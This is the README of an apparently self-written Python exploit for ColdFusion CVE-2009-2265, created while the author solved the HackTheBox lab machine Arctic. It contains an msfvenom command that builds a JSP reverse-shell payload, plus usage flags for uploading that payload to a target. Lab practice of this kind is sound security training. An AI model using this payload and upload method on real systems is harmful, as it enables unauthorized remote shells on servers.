
coldfusion exploit based on https://cvedetails.com/cve/CVE-2009-2265/
exploit coldfusion basé sur https://cvedetails.com/cve/CVE-2009-2265/
La principale raison pour laquelle j'ai mis en place un script python pour cette CVE particulière est que la version metasploit du même exploit n'a pas fonctionné pour moi lorsque j'ai essayé de résoudre la machine HTB Arctic. C'était aussi l'occasion de pratiquer un peu Python. Cependant, il existe une autre version python de ce même exploit créée par Alexander Reid si vous préférez utiliser la sienne.
L'utilisation est assez simple :
Assurez-vous d'avoir créé un fichier de payload
par exemple en utilisant msfvenom :
msfvenom -p java/jsp_shell_reverse_tcp -f raw LHOST=<yourip> LPORT=<yourport> -o shell.jsp
Utilisation : python3 2265.py [-h] -t TARGET [-p PORT] [-f FILEPATH] [-b BASEPATH]
usage: 2265.py [-h] -t TARGET [-p PORT] [-f FILEPATH] [-b BASEPATH]
arguments optionnels :
-h, --help show this help message and exit
-t TARGET target ip
-p PORT target port
-f FILEPATH path of file with shellcode to upload
-b BASEPATH coldfusion basepath